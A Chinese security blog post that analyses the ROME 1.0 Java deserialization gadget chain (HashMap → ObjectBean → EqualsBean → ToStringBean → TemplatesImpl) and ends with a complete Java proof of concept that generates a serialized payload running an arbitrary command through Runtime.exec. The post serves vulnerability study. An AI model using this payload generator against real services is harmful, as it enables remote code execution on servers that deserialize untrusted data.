rome反序列化链

简介

突然发现十天没更新博客了,大概我觉得自己学的东西很垃圾,没有自己创造的一些东西吧。

但是日子还得过,博客还得写。

学习是一辈子的事情,不想让坏心情来妨碍我的步调。

Gaget Chains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/

复现

依赖:rome1.0+jdk1.8+tomcat9

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

image.png

分析

基于ysoserial

ToStringBean.toString(String prefix)

首先分析这条链子的核心部分,可以看到ysoserial两次实例化了ObjectBean类

image.png

出现问题的地方就是ToStringBean.toString(String prefix),使用了invoke来反射调用方法,但是这个方法需要是无参的

如果这里我们能够调用恶意Templates类的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties方法,就能动态加载恶意字节码从而触发命令执行

image.png

但首先要解决的是PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);

在构造方法中,new ToStringBean(beanClass, obj);传入的beanClass就是BeanIntrospector.getPropertyDescriptors(this._beanClass);中的this._beanClass

接下来跟进BeanIntrospector.getPropertyDescriptors这个静态方法

BeanIntrospector.getPropertyDescriptors

image.png

调试时候发现要进到判断里去,跟进getPDs

这个方法主要是获取一个Class所有的getters和setters

image.png

调试中发现他获取了这个Templates类的outputProperties方法,他还有个重载方法用来获取具体的方法数组

image.png

PropertyDescriptor

这个类是java.beans包下的工具类

PropertyDescriptor 类表示 JavaBean 类通过存储器导出一个属性。

构造方法有:

1
2
3
4
5
PropertyDescriptor(String propertyName, Class<?> beanClass)

PropertyDescriptor(String propertyName, Class<?> beanClass, String readMethodName, String writeMethodName)

PropertyDescriptor(String propertyName, Method readMethod, Method writeMethod)

常用方法有:

1
2
3
4
5
Class<?> getPropertyType() // 获取属性的java类型对象
Method getReadMethod() // 获得用于读取属性值的方法
Method getWriteMethod() // 获得用于写入属性值的方法
void setReadMethod(Method readMethod) // Sets the method that should be used to read the property value.
void setWriteMethod(Method writeMethod) //Sets the method that should be used to write the property value.

ToStringBean.toString

回到ToStringBean.toString(String prefix)

image.png

66行getName没啥用

67行拿到PropertyDescriptor中的method,就能够进到反射调用方法了

image.png

因此构造toStringBean的时候,我们只要指定this._obj为我们的恶意字节码Template类,也就是反射方法的调用者

this._beanClass为Templates.class,来获取到它唯一的getter,也就是getOutputProerties()方法

image.png

构造

image.png

ObjectBean.hashCode

接下来就是分析调用链了,hashCode方法是我们常用的一个把攻击链串起来的方法,ObjectBean中也有,并且通过它我们能够实现接下来的一系列攻击链调用

image.png

他会调用EqualsBean中的beanHashCode方法,这个类是我们在构造阶段可以控制的

EqualsBean.beanHashCode

image.png

调用了toString,而这里的this._obj我们也可控

也就是说我们可以先构造一个含有equalBean的ObjectBean,然后把装载恶意template的toStringBean放进去

这样当调用ObjectBean.hashCode的时候就能完成调用。

HashMap

入口类还是HashMap,因此整个链子的构造也很清楚,我们尝试自己编写payload

编写poc

自己编写生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.romeAttack;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class RomeSer {

public byte[] getPayload(String command) throws Exception {
TemplatesImpl templatesImpl = createTemplatesImpl(command);

//创建包含toSringBean的ObjectBean
ObjectBean tSB = new ObjectBean(Templates.class, templatesImpl);

//创建equalBean的ObjectBean
//创建一个无害的ObjectBean插入,避免在payload阶段反序列化
ObjectBean bean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "foo"));

HashMap<Object, Object> map = new HashMap<>();
map.put(bean, "foo");

setFieldValue(bean,"_equalsBean",new EqualsBean(ObjectBean.class, tSB));
ByteOutputStream byteOutputStream = new ByteOutputStream();
FileOutputStream fos = new FileOutputStream("C:\\Users\\AEQAQ\\Desktop\\gc\\1.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);

oos.writeObject(map);
oos.flush();
oos.close();

return null;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl createTemplatesImpl(String command) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//修改Neo类,插入command,创建恶意字节码,此处参考ysoserial
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);

String randomClassName = "EvilCat" + System.nanoTime();
clazz.setName(randomClassName);
clazz.setSuperclass(pool.get(AbstractTranslet.class.getName()));

final byte[] classBytes = clazz.toBytecode();

setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

return templates;
}
}

image.png